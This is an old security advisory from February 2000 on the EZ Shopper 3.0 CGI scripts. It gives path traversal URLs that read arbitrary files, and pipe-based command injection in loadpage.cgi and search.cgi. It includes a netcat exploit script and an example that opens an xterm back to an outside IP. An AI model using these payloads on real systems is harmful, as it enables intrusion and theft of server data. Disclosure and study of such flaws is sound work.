suid_at_suid.kg - EZ Shopper 3.0 remote command execution.
Software: EZ Shopper 3.0
URL: http://www.ahg.com/software.htm#ezshopper
Version: Version 3.0
Platforms: Unix, NT
Type: CGI, Input validation problem
Vendor status: Notified 26/02/2000
Date: 26/02/2000
Summary:
Anyone can execute any command on the remote system with
the priveleges of the web server. Anyone can read any file
on the remote system which the webserver has access to.
Vulnerability:
The perl code does no input validation and performs an
open() on a user supplied input.
Exploit:
(1) loadpage.cgi - view any file.
Firstly using your web browser find the current path (cwd):
http://www.example.com/cgi-bin/loadpage.cgi?user_id=1&file=XYZ
You will receive an error message like:
Cannot open file /home/www/shop/XYZ
Now simply use (example based on the above cwd):
http://www.example.com/cgi-bin/loadpage.cgi?
user_id=1&file=../../<path>/<file>
(2) loadpage.cgi - execute any command.
This example shell script uses netcat to communicate with a
HTTP proxy and exploit the script:
------------------------CUT------------------------
#!/bin/bash
echo -e "GET http://www.example.com/cgi-bin/loadpage.cgi?
user_id=1&file=|"$1"| HTTP/1.0\n\n" | nc proxy.server.com 8080
------------------------CUT------------------------
A usage example would be:
$ ./ezhack.sh /usr/X11R6/bin/xterm%20-display%
20123.123.123.123:0
(3) search.cgi - view files (retarded tho) and execute commands.
Simply replace the database field with piped commands or path/filename.
http://www.example.com/cgi-bin/search.cgi?
user_id=1&database=<insert here>&template=<or insert here>&distinct=1
Note if you use the database field a valid template is probably needed
and vice versa.
Workaround:
The vendor, AHG Inc, has released a fixed version, download it from
their website and install the fixed version.
Greets:
yowie
cr
active
http://www.suid.kg/advisories/010.txt
EOF
Received on Feb 27 2000
Intro
